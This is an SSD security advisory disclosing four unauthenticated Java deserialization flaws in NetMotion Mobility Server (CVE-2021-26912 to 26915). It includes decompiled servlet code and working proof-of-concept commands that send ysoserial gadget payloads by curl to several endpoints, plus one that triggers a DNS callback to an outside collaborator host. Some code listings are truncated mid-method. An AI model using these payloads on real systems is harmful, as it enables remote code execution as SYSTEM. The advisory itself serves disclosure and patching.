



SSD ADVISORY – NETMOTION MOBILITY SERVER MULTIPLE DESERIALIZATION OF UNTRUSTED DATA LEAD TO RCE

February 8, 2021 SSD Secure Disclosure technical team
Vulnerability publication

TL;DR

Find out how multiple vulnerabilities in NetMotion Mobility Server allow an unauthenticated attacker to run arbitrary code on the server with SYSTEM privileges.

Vulnerability Summary

NetMotion Mobility is “standards-compliant, client/server-based software that securely extends the enterprise network to the mobile environment. It is mobile VPN software that maximizes mobile field worker productivity by maintaining and securing their data connections as they move in and out of wireless coverage areas and roam between networks. Designed specifically for wireless environments, Mobility provides IT managers with the security and centralized control needed to effectively manage a mobile deployment. Mobility complements existing IT systems, is highly scalable, and easy to deploy and maintain”.

Several vulnerabilities in the NetMotion Mobility server allow remote attackers to cause the server to execute code due to the way the server deserialize incoming content.

CVE

CVE-2021-26912

CVE-2021-26913

CVE-2021-26914

CVE-2021-26915

Credit

An independent security researcher, Steven Seeley of Source Incite, has reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

NetMotion Mobility Server version 12.01.09045

Vendor Response

“On November 19, 2020, NetMotion alerted customers to security vulnerabilities in the Mobility web server and released updates for Mobility v11.x and v12.x to address them.

The vulnerabilities were fixed in versions Mobility v11.73 and v12.02, which were released on November 19, 2020. Customers should upgrade immediately to these or later versions.

NetMotion has always cautioned customers to put their servers behind a firewall. Customers who have not followed NetMotion's recommendations (v11.73 and v12.02) for the secure configuration and deployment of their Mobility servers, and who have exposed access to the Mobility web server to untrusted networks or IP addresses, are particularly vulnerable to this attack.”

For more details see: <https://www.netmotionsoftware.com/security-advisories/security-vulnerability-in-mobility-web-server-november-19-2020>

Vulnerability Analysis



the following code

```
1. public class SupportRpcServlet extends HttpServlet {
2.     public static final int SUPPORT_ZIP = 0;
3.     protected void doPost(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) {
4.         try {
5.             ObjectInputStream objectInputStream = new ObjectInputStream((InputStream)paramHttpServletRequest.getInputStream());
6.             RpcData rpcData = (RpcData)objectInputStream.readObject(); // 1
7.             if (rpcData.validate(true)) {
8.                 command(paramHttpServletResponse, rpcData);
9.             } else {
10.                paramHttpServletResponse.setStatus(401);
11.            }
12.        } catch (Exception exception) {
13.            paramHttpServletResponse.setStatus(500);
14.            Events.reportWarning(186, 37175, new String[] { paramHttpServletRequest.getRemoteAddr(), exception.toString() });
15.        }
16.    }
}
```

At [1] a `readObject` is used against attacker controlled inputstream without any protections.

PoC

```
1. java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 mspaint > payload.bin
2. curl -k --data-binary "@payload.bin" -H "Content-Type: application/octet-stream" -X POST https://[target]/SupportRpcServlet
```

RpcServlet Deserialization of Untrusted Data Remote Code Execution

Inside of the `com.nmmco.server.events.EventRpcServlet` class we can see:

```
1. public class EventRpcServlet extends RpcServlet implements EventRpcRequest { // 1
2.     public void writeResponse(HttpServletResponse paramHttpServletResponse, ObjectOutputStream paramObjectOutputStream, int paramInt, long
3.     paramLong, Object paramObject) throws IOException {
4.         try {
5.             if (!EventRpcResponse.writeResponse(paramObjectOutputStream, paramInt, paramLong, paramObject))
6.                 paramHttpServletResponse.sendError(400);
7.         } catch (JSONException jniException) {
8.             log("EventRpcServlet", (Throwable)jniException);
9.             paramHttpServletResponse.sendError(500);
10.        }
}
```

We can see that this servlet extends from `RpcServlet` at [1], so let's check that code:

```
1. public class RpcServlet extends HttpServlet implements RpcResponseCommand {
2.     private RpcResponseDispatcher mDispatcher;
3.     private static final int MAX_REQUEST_SIZE = 5242880;
4.     public void init(ServletConfig paramServletConfig) throws ServletException {
5.         super.init(paramServletConfig);
6.         this.mDispatcher = new RpcResponseDispatcher(this, true, 5242880);
7.     }
8.     public void destroy() {}
9.     public void writeResponse(HttpServletResponse paramHttpServletResponse, ObjectOutputStream paramObjectOutputStream, int paramInt, long
10.    paramLong, Object paramObject) throws IOException {
11.        paramHttpServletResponse.setStatus(404);
12.    }
13.    protected void doPost(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException,
14.    IOException {
15.        this.mDispatcher.dispatch((SimpleHttpRequest)new SimpleHttpRequest(paramHttpServletRequest), (SimpleHttpResponse)new
16.        SimpleHttpResponse(paramHttpServletResponse), new RpcResponseObjectReader() {
17.            public RpcData readObject(ObjectInputStream paramObjectInputStream) throws Exception { // 2
18.                return (RpcData)paramObjectInputStream.readObject();
19.            }
20.        });
21.    }
}
```

At [2] we can see it has it's own `readObject` dispatcher which also tries to read in an `RpcData` type that is not validated or checked against attacker controlled data.

PoC

```
1. java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 mspaint > payload.bin
2. curl -k --data-binary "@payload.bin" -H "Content-Type: application/octet-stream" -X POST https://[target]/EventRpcServlet
```

MvcUtil valueStringToObject Deserialization of Untrusted Data Remote Code Execution

Inside of the `com.nmmco.server.mvc.MvcServlet` we can see the following code:

```
1. public class MvcServlet extends HttpServlet {
2.     static final long serialVersionUID = 1L;
3.     private String mPackage;
4.     public void init(ServletConfig paramServletConfig) throws ServletException {
5.         super.init(paramServletConfig);
6.         this.mPackage = getInitParameter("controllersPackage");
7.         if (null == this.mPackage)
8.             throw new ServletException("Could not find init parameter 'controllerPackage'");
9.     }
10.    protected void doGet(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException,
11.    IOException {
12.        doRequest(paramHttpServletRequest, paramHttpServletResponse);
13.    }
14.    protected void doPost(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException,
15.    IOException {
16.        doRequest(paramHttpServletRequest, paramHttpServletResponse);
17.    }
18.    protected void doRequest(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException,
19.    IOException {
20.        if (this.mPackage != null) {
21.            String str1 = "";
22.        }
23.    }
}
```



```
25.         str1 = str2.substring(i, j);
26.     }
27.     String str3 = this.mPackage + "." + str1 + "Controller";
28.     try {
29.         ServletContext servletContext = getServletConfig().getServletContext();
30.         MvcController mvcController = (MvcController)Class.forName(str3).newInstance();
31.         mvcController.invoke(servletContext, paramHttpRequest, paramHttpResponse); // 1
32.     } catch (ClassNotFoundException classNotFoundException) {
33.         String str = "/";
34.         if (!str1.isEmpty())
35.             str = str + MvcUtil.capsToUnderscores(str1) + ".jsp";
36.         forwardTo(str, paramHttpRequest, paramHttpResponse);
37.     } catch (IllegalAccessException illegalAccessException) {
38.         throw new ServletException("Could not access controller '" + str3 + "'");
39.     } catch (InstantiationException instantiationException) {
40.         throw new ServletException("Could not instantiate controller '" + str3 + "'");
41.     }
42.     } else {
43.         throw new ServletException("Could not determine controller package.");
44.     }
45. }
```

It's possible to reach [1] unauthenticated meaning which is the `invoke` method of the `com.nmmco.server.mvc.MvcController` class using attacker controlled data as the second argument.

```
1.     public final void invoke(ServletContext paramServletContext, HttpServletRequest paramHttpRequest, HttpServletResponse
paramHttpResponse) throws ServletException {
2.         this.context = paramServletContext;
3.         this.request = paramHttpRequest;
4.         this.response = paramHttpResponse;
5.         this.session = paramHttpRequest.getSession();
6.         if (null != this.session) {
7.             Object object1 = this.session.getAttribute(getSessionModelName());
8.             if (null != object1) {
9.                 if (object1 instanceof MvcModel) {
10.                     this.model = (MvcModel)object1;
11.                     this.resultInvocation = true;
12.                 }
13.                 this.session.removeAttribute(getSessionModelName());
14.             }
15.             Object object2 = this.session.getAttribute("info");
16.             if (null != object2) {
17.                 paramHttpRequest.setAttribute("info", object2);
18.                 this.session.removeAttribute("info");
19.             }
20.             Object object3 = this.session.getAttribute("error");
21.             if (null != object3) {
22.                 paramHttpRequest.setAttribute("error", object3);
23.                 this.session.removeAttribute("error");
24.             }
25.             Object object4 = this.session.getAttribute("warning");
26.             if (null != object4) {
27.                 paramHttpRequest.setAttribute("warning", object4);
28.                 this.session.removeAttribute("warning");
29.             }
30.         }
31.         if (null == this.model)
32.             this.model = new MvcModel();
33.         this.model.putRequestParameters(paramHttpRequest); // 2
}
```

An attacker can reach [2] which is a call to `MvcModel.putRequestParameters` using their controlled data.

```
1.     public void putRequestParameters(HttpServletRequest paramHttpRequest) {
2.         String str = paramHttpRequest.getParameter("Mvc_x_Form_x_Name");
3.         if (null != str) {
4.             Object object = MvcUtil.valueStringToObject(str); // 3
5.             if (object instanceof Map)
6.                 this.map = uncheckedCast(object);
7.         }
}
```

At [3] the `MvcUtil.valueStringToObject` method is called if the attacker supplied the query parameter `Mvc_x_Form_x_Name`.

```
1.     public static Object valueStringToObject(String paramString) {
2.         Object object = null;
3.         if (null != paramString)
4.             try {
5.                 ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(paramString.getBytes("UTF-8"));
6.                 Base64InputStream base64InputStream = new Base64InputStream(byteArrayInputStream);
7.                 ObjectInputStream objectInputStream = null;
8.                 try {
9.                     GZIPInputStream gZIPInputStream = (GZIPInputStream)base64InputStream;
10.                     objectInputStream = new ObjectInputStream(gZIPInputStream);
11.                     object = objectInputStream.readObject(); // 4
12.                 } catch (ClassNotFoundException classNotFoundException) {
13.                 } catch (IOException iOException) {
14.                 } finally {
15.                     if (null != objectInputStream)
16.                         objectInputStream.close();
17.                 }
18.                 } catch (IOException iOException) {}
19.         return object;
20.     }
```

The value of `Mvc_x_Form_x_Name` is decoded from base64 and gzip inflated and finally has `readObject` called on it. An attacker can leverage this to achieve RCE.

PoC

```
1. java -jar target/yoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 mspaint > payload.bin
2. gzip payload.bin
3. curl -k "https://[target]/mobility/Menu/isLoggedIn" --data-urlencode "Mvc_x_Form_x_Name='cat payload.bin.gz | base64 -w0'"
```



ing code:

```
3.     private RpcResponseDispatcher webRepDbDispatcher = new RpcResponseDispatcher(new WebRepDbRpcResponseCommand());
4.     private DownloadEngineContainer container;
5.     public void doGet(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws IOException {
6.         this.container =
7.         (DownloadEngineContainer)paramHttpServletRequest.getServletContext().getAttribute("com.nmcco.server.webrepdb.DownloadEngineContainer");
8.         this.webRepDbDispatcher.dispatch((SimpleHttpRequest)new SimpleHttpServletRequest(paramHttpServletRequest), (SimpleHttpResponse)new
9.         SimpleHttpServletResponse(paramHttpServletResponse), new RpcResponseObjectReader() {
10.             public RpcData readObject(ObjectInputStream paramObjectInputStream) throws Exception { // 1
11.                 return (RpcData)paramObjectInputStream.readObject();
12.             }
13.         });
14.     }
15.     public void doPost(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws IOException {
16.         doGet(paramHttpServletRequest, paramHttpServletResponse);
17.     }
18. }
```

At [7] the code sets up a dispatcher for a GET or POST request using a `readObject` call on attacker controlled data.

PoC

For this particular service, the CommonsCollections6 gadget wasn't firing because it wasn't loaded into the classpath. So I am just demonstrating here that deserialization is indeed working using a gadget in the JRE.

```
1. java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://testing.[collab-id].burpcollaborator.net > payload.bin
2. curl -k --data-binary "@payload.bin" -H "Content-Type: application/octet-stream" -X POST https://[target]/WebRepDb/status
```

You should see a DNS lookup for `testing` on your collab server.

Demo

mobility\$ icu
curl --insecure https://192.168.15.149/ grep Mobility
% Total % Received % Xferd Average Speed Time Time Time Current
100 3295 0 0 80365 0 --:--:-- --:--:-- 82375

It appears cookies are not enabled or are being blocked for this site. Cookies must be enabled to use the mobility console.</div>
mobility\$

File Machine View Input Devices Help
Recycle Bin
Google Chrome
Task Manager
Processes Performance Users Details Services
Name PID Status User name CPU Memory (p... Description
nmdbot.exe 2080 Running SYSTEM 00 880 K NetMotion service that ...
nmdeploy.exe 1660 Running SYSTEM 00 1,780 K NetMotion service that ...
nmreporting.exe 1592 Running SYSTEM 00 125,668 K NetMotion Publisher Se...
nmreputation.exe 1624 Running SYSTEM 00 1,936 K NetMotion service that ...
nmrservice.exe 1652 Running SYSTEM 00 87,116 K NetMotion Control Serv...
nmrswebacc.exe 1688 Running SYSTEM 00 1,664 K Mobility Web Accelerator
nmrswebserver.exe 1632 Running SYSTEM 00 1,800 K NetMotion service that ...
nmruntimebroker.exe 2928 Running Administr... 00 2,384 K Runtime Broker
SearchUI.exe 3464 Suspended Administr... 00 7,804 K Search and Cortana app...
ServerManager.exe 3088 Running Administr... 00 58,592 K Server Manager
services.exe 556 Running SYSTEM 00 2,644 K Services and Controller ...
ShellExperienceHost... 692 Suspended Administr... 00 17,744 K Windows Shell Experien...
shost.exe 2956 Running Administr... 00 3,056 K Shell Infrastructure Host
smss.exe 264 Running SYSTEM 00 252 K Windows Session Mana...
spoolsv.exe 1476 Running SYSTEM 00 4,264 K Spooler SubSystem App
svchost.exe 2980 Running Administr... 00 2,388 K Host Process for Windo...
svchost.exe 1956 Running SYSTEM 00 3,372 K Host Process for Windo...
svchost.exe 1888 Running SYSTEM 00 1,524 K Host Process for Windo...
svchost.exe 1860 Running LOCAL SE... 00 1,244 K Host Process for Windo...
svchost.exe 1824 Running SYSTEM 00 5,236 K Host Process for Windo...
svchost.exe 1388 Running NETWORK... 00 1,064 K Host Process for Windo...
svchost.exe 1160 Running LOCAL SE... 00 1,240 K Host Process for Windo...
svchost.exe 1048 Running SYSTEM 00 18,404 K Host Process for Windo...

Get in touch

Any questions? Interested in our services?
We'd love to hear from you

CONTACT US

